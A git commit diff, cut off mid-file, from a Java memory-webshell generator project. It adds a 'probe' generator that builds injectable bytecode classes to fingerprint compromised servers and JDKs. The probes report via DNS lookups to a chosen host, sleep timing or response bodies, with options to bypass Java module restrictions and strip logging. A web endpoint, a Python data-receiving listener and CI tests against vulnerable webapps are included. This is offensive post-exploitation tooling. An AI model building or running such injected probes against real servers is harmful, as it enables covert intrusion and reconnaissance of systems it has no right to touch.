feat: support probe shell generation

.github/workflows/test.yaml

@@ -61,7 +61,7 @@ jobs:
             exit 1
           fi
 
-  integration-test:
+  memshell-integration-test:
     strategy:
       fail-fast: false
       matrix:
@@ -114,7 +114,60 @@ jobs:
         run: ./gradlew ${{ matrix.cases.depend_tasks }}
 
       - name: Integration Test with gradle
-        run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
+        run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
 
       - name: Export Integration Test Summary
         run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
+
+  detection-integration-test:
+    strategy:
+      fail-fast: false
+      matrix:
+        cases:
+          - middleware: "tomcat"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
+          - middleware: "jetty"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "jbossas"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "jbosseap"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "wildfly"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "glassfish"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "resin"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "payara"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "websphere"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "websphere7"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "weblogic"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "springwebmvc"
+            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
+          - middleware: "springwebflux"
+            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
+    runs-on: ubuntu-latest
+    name: ${{ matrix.cases.middleware }}
+    needs: [ unit-test ]
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Setup Java
+        uses: actions/setup-java@v4
+        with:
+          distribution: 'temurin'
+          java-version: 17
+
+      - name: Setup Gradle
+        uses: gradle/actions/setup-gradle@v4
+
+      - name: Prepare for Integration Test
+        run: ./gradlew ${{ matrix.cases.depend_tasks }}
+
+      - name: Integration Test with gradle
+        run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info

asserts/http_post_server.py

@@ -0,0 +1,35 @@
+import http.server
+import socketserver
+
+PORT = 8000
+TARGET_PATH = "/api/v1/data"
+
+
+class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
+    def do_POST(self):
+        if self.path == TARGET_PATH:
+            try:
+                content_length = int(self.headers['Content-Length'])
+                post_data_bytes = self.rfile.read(content_length)
+                post_data_str = post_data_bytes.decode('utf-8')
+                print("-----------------------------\n")
+                print(f"Client IP: {self.client_address}")
+                print(f"Request Header:\n{self.headers}")
+                print(f"Request Body:\n{post_data_str}")
+                print("-----------------------------\n")
+                self.send_response(200)
+                self.send_header('Content-type', 'application/json')
+                self.end_headers()
+                response_message = '{"status": "success"}'
+                self.wfile.write(response_message.encode('utf-8'))
+            except Exception as e:
+                print(f"Parse POST failed: {e}")
+                self.send_response(500)
+        else:
+            print("Make sure use " + TARGET_PATH + " rather than " + self.path)
+            self.send_response(404)
+
+
+with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
+    print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
+    httpd.serve_forever()

boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.boot.controller;
 import com.reajason.javaweb.boot.dto.GenerateRequest;
 import com.reajason.javaweb.boot.dto.GenerateResponse;
 import com.reajason.javaweb.memshell.MemShellGenerator;
-import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.MemShellResult;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
@@ -27,7 +27,7 @@ public class GeneratorController {
         ShellConfig shellConfig = request.getShellConfig();
         ShellToolConfig shellToolConfig = request.parseShellToolConfig();
         InjectorConfig injectorConfig = request.getInjectorConfig();
-        GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
+        MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
         Packer packer = request.getPacker().getInstance();
         if (packer instanceof JarPacker) {
             return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));

boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeGeneratorController.java

@@ -0,0 +1,33 @@
+package com.reajason.javaweb.boot.controller;
+
+import com.reajason.javaweb.boot.dto.ProbeGenerateRequest;
+import com.reajason.javaweb.boot.dto.ProbeGenerateResponse;
+import com.reajason.javaweb.packer.AggregatePacker;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.probe.ProbeGenerator;
+import com.reajason.javaweb.probe.ProbeResult;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ProbeContentConfig;
+import org.springframework.web.bind.annotation.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+@RestController
+@RequestMapping("/probe/generate")
+@CrossOrigin("*")
+public class ProbeGeneratorController {
+    @PostMapping
+    public ProbeGenerateResponse generate(@RequestBody ProbeGenerateRequest request) {
+        ProbeConfig probeConfig = request.getProbeConfig();
+        ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
+        ProbeResult generateResult = ProbeGenerator.generate(probeConfig, probeContentConfig);
+        Packer packer = request.getPacker().getInstance();
+        if (packer instanceof AggregatePacker) {
+            return new ProbeGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
+        } else {
+            return new ProbeGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
+        }
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.boot.dto;
 
-import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.MemShellResult;
 import lombok.Data;
 import lombok.NoArgsConstructor;
 
@@ -13,16 +13,16 @@ import java.util.Map;
 @Data
 @NoArgsConstructor
 public class GenerateResponse {
-    private GenerateResult generateResult;
+    private MemShellResult generateResult;
     private String packResult;
     private Map<String, String> allPackResults;
 
-    public GenerateResponse(GenerateResult generateResult, String packResult) {
+    public GenerateResponse(MemShellResult generateResult, String packResult) {
         this.generateResult = generateResult;
         this.packResult = packResult;
     }
 
-    public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
+    public GenerateResponse(MemShellResult generateResult, Map<String, String> allPackResults) {
         this.allPackResults = allPackResults;
         this.generateResult = generateResult;
     }

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateRequest.java

@@ -0,0 +1,44 @@
+package com.reajason.javaweb.boot.dto;
+
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.probe.config.*;
+import lombok.Data;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+@Data
+public class ProbeGenerateRequest {
+    private ProbeConfig probeConfig;
+    private ProbeContentConfigDTO probeContentConfig;
+    private Packers packer;
+
+    @Data
+    static class ProbeContentConfigDTO {
+        private String host;
+        private int seconds;
+        private String server;
+        private String sleepServer;
+        private String reqParamName;
+        private String reqHeaderName;
+    }
+
+    public ProbeContentConfig parseProbeContentConfig() {
+        return switch (probeConfig.getProbeMethod()) {
+            case DNSLog -> DnsLogConfig.builder()
+                    .host(probeContentConfig.host)
+                    .build();
+            case Sleep -> SleepConfig.builder()
+                    .seconds(probeContentConfig.seconds)
+                    .server(probeContentConfig.sleepServer)
+                    .build();
+            case ResponseBody -> ResponseBodyConfig.builder()
+                    .reqParamName(probeContentConfig.reqParamName)
+                    .reqHeaderName(probeContentConfig.reqHeaderName)
+                    .server(probeContentConfig.server)
+                    .build();
+            default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
+        };
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeGenerateResponse.java

@@ -0,0 +1,29 @@
+package com.reajason.javaweb.boot.dto;
+
+import com.reajason.javaweb.probe.ProbeResult;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+@Data
+@NoArgsConstructor
+public class ProbeGenerateResponse {
+    private ProbeResult probeResult;
+    private String packResult;
+    private Map<String, String> allPackResults;
+
+    public ProbeGenerateResponse(ProbeResult probeResult, String packResult) {
+        this.probeResult = probeResult;
+        this.packResult = packResult;
+    }
+
+    public ProbeGenerateResponse(ProbeResult probeResult, Map<String, String> allPackResults) {
+        this.allPackResults = allPackResults;
+        this.probeResult = probeResult;
+    }
+}

generator/src/main/java/com/reajason/javaweb/Constants.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+public class Constants {
+    public static class Server {
+        public static final String TOMCAT = "Tomcat";
+        public static final String JETTY = "Jetty";
+        public static final String UNDERTOW = "Undertow";
+        public static final String JBOSS = "JBoss";
+        public static final String RESIN = "Resin";
+        public static final String WEBLOGIC = "WebLogic";
+        public static final String WEBSPHERE = "WebSphere";
+        public static final String GLASSFISH = "GlassFish";
+        public static final String TONGWEB = "TongWeb";
+        public static final String BES = "BES";
+        public static final String INFORSUITE = "InforSuite";
+        public static final String APUSIC = "Apusic";
+        public static final String SPRING_WEBFLUX = "SpringWebFlux";
+        public static final String SPRING_WEBMVC = "SpringWebMvc";
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
@@ -18,7 +17,7 @@ import java.util.Map;
  */
 public class MemShellGenerator {
 
-    public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
+    public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
         Server server = shellConfig.getServer();
         AbstractShell shell = server.getShell();
         if (shell == null) {
@@ -57,7 +56,7 @@ public class MemShellGenerator {
         byte[] injectorBytes = injectorGenerator.generate();
         Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
 
-        return GenerateResult.builder()
+        return MemShellResult.builder()
                 .shellConfig(shellConfig)
                 .shellToolConfig(shellToolConfig)
                 .injectorConfig(injectorConfig)

generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java

@@ -1,5 +1,8 @@
-package com.reajason.javaweb.memshell.config;
+package com.reajason.javaweb.memshell;
 
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.packer.ClassPackerConfig;
 import com.reajason.javaweb.packer.JarPackerConfig;
 import lombok.AllArgsConstructor;
@@ -18,8 +21,8 @@ import java.util.Map;
 @Data
 @NoArgsConstructor
 @AllArgsConstructor
-@Builder(builderClassName = "GenerateResultBuilder")
-public class GenerateResult {
+@Builder(builderClassName = "Builder")
+public class MemShellResult {
     private String shellClassName;
     private transient byte[] shellBytes;
     private long shellSize;
@@ -33,8 +36,8 @@ public class GenerateResult {
     private ShellToolConfig shellToolConfig;
     private InjectorConfig injectorConfig;
 
-    public static class GenerateResultBuilder {
-        public GenerateResult build() {
+    public static class Builder {
+        public MemShellResult build() {
             if (shellBytes != null) {
                 shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
                 shellSize = shellBytes.length;
@@ -43,7 +46,7 @@ public class GenerateResult {
                 injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
                 injectorSize = injectorBytes.length;
             }
-            return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
+            return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
                     injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
         }
     }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

@@ -3,15 +3,12 @@ package com.reajason.javaweb.memshell.generator;
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
-import net.bytebuddy.asm.AsmVisitorWrapper;
 import net.bytebuddy.description.modifier.Ownership;
 import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
 
-import java.util.Collections;
-
 import static net.bytebuddy.matcher.ElementMatchers.named;
 import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
 
@@ -22,13 +19,9 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
 public class ListenerGenerator {
 
     public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
-        builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
-                        .method(named("getResponseFromRequest"),
-                                new MethodCallReplaceVisitorWrapper(
-                                        newClassName,
-                                        Collections.singleton(ShellCommonUtil.class.getName()))
-                        )
-                )
+        builder = builder
+                .visit(MethodCallReplaceVisitorWrapper.newInstance(
+                        "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
                 .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
 
         boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -8,14 +8,11 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
-import net.bytebuddy.asm.AsmVisitorWrapper;
 import net.bytebuddy.description.modifier.Ownership;
 import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
 
-import java.util.Collections;
-
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
 /**
@@ -43,13 +40,8 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
 
         if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
             builder = builder
-                    .visit(new AsmVisitorWrapper.ForDeclaredMethods()
-                            .method(named("getParam"),
-                                    new MethodCallReplaceVisitorWrapper(
-                                            shellToolConfig.getShellClassName(),
-                                            Collections.singleton(ShellCommonUtil.class.getName()))
-                            )
-                    )
+                    .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
+                            shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
                     .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(String.class)
                     .throwing(Exception.class)

generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java

@@ -61,4 +61,8 @@ public class ShellCommonUtil {
             }
         }
     }
+
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        return null;
+    }
 }

generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java

@@ -0,0 +1,14 @@
+package com.reajason.javaweb.probe;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/30
+ */
+public enum ProbeContent {
+    Server,
+    OS,
+    JDK,
+    Bytecode,
+    Command,
+    BasicInfo
+}

generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java

@@ -0,0 +1,26 @@
+package com.reajason.javaweb.probe;
+
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ProbeContentConfig;
+import org.apache.commons.lang3.StringUtils;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/29
+ */
+public class ProbeGenerator {
+
+    public static ProbeResult generate(ProbeConfig probeConfig, ProbeContentConfig contentConfig) {
+        if (StringUtils.isBlank(probeConfig.getShellClassName())) {
+            probeConfig.setShellClassName(CommonUtil.generateInjectorClassName());
+        }
+        byte[] bytes = probeConfig.getProbeMethod().generateBytes(probeConfig, contentConfig);
+        return ProbeResult.builder()
+                .shellClassName(probeConfig.getShellClassName())
+                .shellBytes(bytes)
+                .probeConfig(probeConfig)
+                .probeContentConfig(contentConfig)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java

@@ -0,0 +1,38 @@
+package com.reajason.javaweb.probe;
+
+import com.reajason.javaweb.memshell.generator.ShellGenerator;
+import com.reajason.javaweb.probe.config.*;
+import com.reajason.javaweb.probe.generator.DnsLogGenerator;
+import com.reajason.javaweb.probe.generator.SleepGenerator;
+import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
+
+import java.lang.reflect.Constructor;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/30
+ */
+public enum ProbeMethod {
+    DNSLog(DnsLogGenerator.class, DnsLogConfig.class),
+    ResponseBody(ResponseBodyGenerator.class, ResponseBodyConfig.class),
+    Sleep(SleepGenerator.class, SleepConfig.class);
+
+    private final Class<? extends ShellGenerator> generatorClass;
+    private final Class<? extends ProbeContentConfig> configClass;
+
+    ProbeMethod(Class<? extends ShellGenerator> generatorClass, Class<? extends ProbeContentConfig> configClass) {
+        this.generatorClass = generatorClass;
+        this.configClass = configClass;
+    }
+
+    public byte[] generateBytes(ProbeConfig probeConfig, ProbeContentConfig probeContentConfig) {
+        try {
+            Constructor<? extends ShellGenerator> constructor =
+                    generatorClass.getConstructor(ProbeConfig.class, configClass);
+            ShellGenerator generator = constructor.newInstance(probeConfig, configClass.cast(probeContentConfig));
+            return generator.getBytes();
+        } catch (Exception e) {
+            throw new RuntimeException("shell generate failed: " + e.getMessage(), e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java

@@ -0,0 +1,49 @@
+package com.reajason.javaweb.probe;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ProbeContentConfig;
+import lombok.AllArgsConstructor;
+import lombok.Builder;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+@Data
+@NoArgsConstructor
+@AllArgsConstructor
+@Builder(builderClassName = "Builder")
+public class ProbeResult {
+    private String shellClassName;
+    private transient byte[] shellBytes;
+    private long shellSize;
+    private String shellBytesBase64Str;
+    private ProbeConfig probeConfig;
+    private ProbeContentConfig probeContentConfig;
+
+    public static class Builder {
+        public ProbeResult build() {
+            if (shellBytes != null) {
+                shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
+                shellSize = shellBytes.length;
+            }
+            return new ProbeResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, probeConfig, probeContentConfig);
+        }
+    }
+
+    public ClassPackerConfig toClassPackerConfig() {
+        ClassPackerConfig classPackerConfig = new ClassPackerConfig();
+        classPackerConfig.setClassName(shellClassName);
+        classPackerConfig.setClassBytes(shellBytes);
+        classPackerConfig.setClassBytesBase64Str(shellBytesBase64Str);
+        if (probeConfig != null) {
+            classPackerConfig.setByPassJavaModule(probeConfig.needByPassJavaModule());
+        }
+        return classPackerConfig;
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.probe.config;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import lombok.NoArgsConstructor;
+import lombok.ToString;
+import lombok.experimental.SuperBuilder;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/30
+ */
+@Getter
+@SuperBuilder
+@ToString
+public class DnsLogConfig extends ProbeContentConfig {
+    private String host;
+}

generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java

@@ -0,0 +1,58 @@
+package com.reajason.javaweb.probe.config;
+
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.ProbeMethod;
+import lombok.AllArgsConstructor;
+import lombok.Builder;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+import lombok.experimental.SuperBuilder;
+import net.bytebuddy.jar.asm.Opcodes;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/30
+ */
+@Data
+@Builder
+@AllArgsConstructor
+@NoArgsConstructor
+public class ProbeConfig {
+    private ProbeMethod probeMethod;
+    private ProbeContent probeContent;
+
+    @Builder.Default
+    private String shellClassName = CommonUtil.generateInjectorClassName();
+    /**
+     * 生成类的目标 JRE 版本
+     */
+    @Builder.Default
+    private int targetJreVersion = Opcodes.V1_6;
+
+    /**
+     * 是否需要移除模块限制
+     */
+    @Builder.Default
+    private boolean byPassJavaModule = false;
+
+    /**
+     * 是否开启调试
+     */
+    @Builder.Default
+    private boolean debug = false;
+
+    /**
+     * 是否启用缩小字节码
+     */
+    @Builder.Default
+    private boolean shrink = false;
+
+    public boolean isDebugOff() {
+        return !debug;
+    }
+
+    public boolean needByPassJavaModule() {
+        return byPassJavaModule || targetJreVersion >= Opcodes.V9;
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/config/ProbeContentConfig.java

@@ -0,0 +1,13 @@
+package com.reajason.javaweb.probe.config;
+
+import lombok.Getter;
+import lombok.experimental.SuperBuilder;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+@Getter
+@SuperBuilder
+public class ProbeContentConfig {
+}

generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.probe.config;
+
+import lombok.Getter;
+import lombok.ToString;
+import lombok.experimental.SuperBuilder;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/30
+ */
+@Getter
+@SuperBuilder
+@ToString
+public class ResponseBodyConfig extends ProbeContentConfig {
+    private String server;
+    private String reqParamName;
+    private String reqHeaderName;
+}

generator/src/main/java/com/reajason/javaweb/probe/config/SleepConfig.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.probe.config;
+
+import lombok.Getter;
+import lombok.ToString;
+import lombok.experimental.SuperBuilder;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/1
+ */
+@Getter
+@SuperBuilder
+@ToString
+public class SleepConfig extends ProbeContentConfig {
+    private String server;
+    private int seconds;
+}

generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java

@@ -0,0 +1,41 @@
+package com.reajason.javaweb.probe.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.memshell.generator.ShellGenerator;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ProbeContentConfig;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/27
+ */
+public abstract class ByteBuddyShellGenerator<T extends ProbeContentConfig> implements ShellGenerator {
+    protected final ProbeConfig probeConfig;
+    protected final T probeContentConfig;
+
+    public ByteBuddyShellGenerator(ProbeConfig probeConfig, T probeContentConfig) {
+        this.probeConfig = probeConfig;
+        this.probeContentConfig = probeContentConfig;
+    }
+
+    protected abstract DynamicType.Builder<?> build(ByteBuddy buddy);
+
+    @Override
+    public byte[] getBytes() {
+        DynamicType.Builder<?> builder = build(new ByteBuddy());
+        if (probeConfig.needByPassJavaModule()) {
+            builder = ByPassJavaModuleInterceptor.extend(builder);
+        }
+        if (probeConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
+        try (DynamicType.Unloaded<?> unloaded = builder.make()) {
+            return ClassBytesShrink.shrink(unloaded.getBytes(), probeConfig.isShrink());
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java

@@ -0,0 +1,48 @@
+package com.reajason.javaweb.probe.generator;
+
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.config.DnsLogConfig;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.payload.JdkProbe;
+import com.reajason.javaweb.probe.payload.ServerProbe;
+import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
+import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.dynamic.DynamicType;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/29
+ */
+public class DnsLogGenerator extends ByteBuddyShellGenerator<DnsLogConfig> {
+
+    public DnsLogGenerator(ProbeConfig probeConfig, DnsLogConfig probeContentConfig) {
+        super(probeConfig, probeContentConfig);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> build(ByteBuddy buddy) {
+        ProbeContent detectContent = probeConfig.getProbeContent();
+        switch (detectContent) {
+            case Server:
+                return buddy.redefine(DnsLogServer.class)
+                        .name(CommonUtil.generateShellClassName())
+                        .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                        .field(named("host")).value(probeContentConfig.getHost())
+                        .visit(Advice.to(ServerProbe.class).on(named("getServer")));
+            case JDK:
+                return buddy.redefine(DnsLogJdk.class)
+                        .name(CommonUtil.generateShellClassName())
+                        .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                        .field(named("host")).value(probeContentConfig.getHost())
+                        .visit(Advice.to(JdkProbe.class).on(named("getJdk")));
+            default:
+                throw new UnsupportedOperationException(detectContent + " not supported");
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java

@@ -0,0 +1,40 @@
+package com.reajason.javaweb.probe.generator;
+
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.probe.ProbeContent;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.SleepConfig;
+import com.reajason.javaweb.probe.payload.ServerProbe;
+import com.reajason.javaweb.probe.payload.sleep.SleepServer;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.dynamic.DynamicType;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/29
+ */
+public class SleepGenerator extends ByteBuddyShellGenerator<SleepConfig> {
+
+
+    public SleepGenerator(ProbeConfig probeConfig, SleepConfig probeContentConfig) {
+        super(probeConfig, probeContentConfig);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> build(ByteBuddy buddy) {
+        ProbeContent detectContent = probeConfig.getProbeContent();
+        if (ProbeContent.Server.equals(detectContent)) {
+            return buddy.redefine(SleepServer.class)
+                    .name(CommonUtil.generateShellClassName())
+                    .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                    .field(named("server")).value(probeContentConfig.getServer())
+                    .field(named("seconds")).value(probeContentConfig.getSeconds())
+                    .visit(Advice.to(ServerProbe.class).on(named("getServer")));
+        }
+        throw new UnsupportedOperationException("Sleep Probe not supported for " + detectContent);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

@@ -0,0 +1,132 @@
+package com.reajason.javaweb.probe.generator.response;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ResponseBodyConfig;
+import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
+import com.reajason.javaweb.probe.payload.ByteCodeProbe;
+import com.reajason.javaweb.probe.payload.CommandProbe;
+import com.reajason.javaweb.probe.payload.response.*;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.dynamic.DynamicType;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/29
+ */
+public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
+    public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
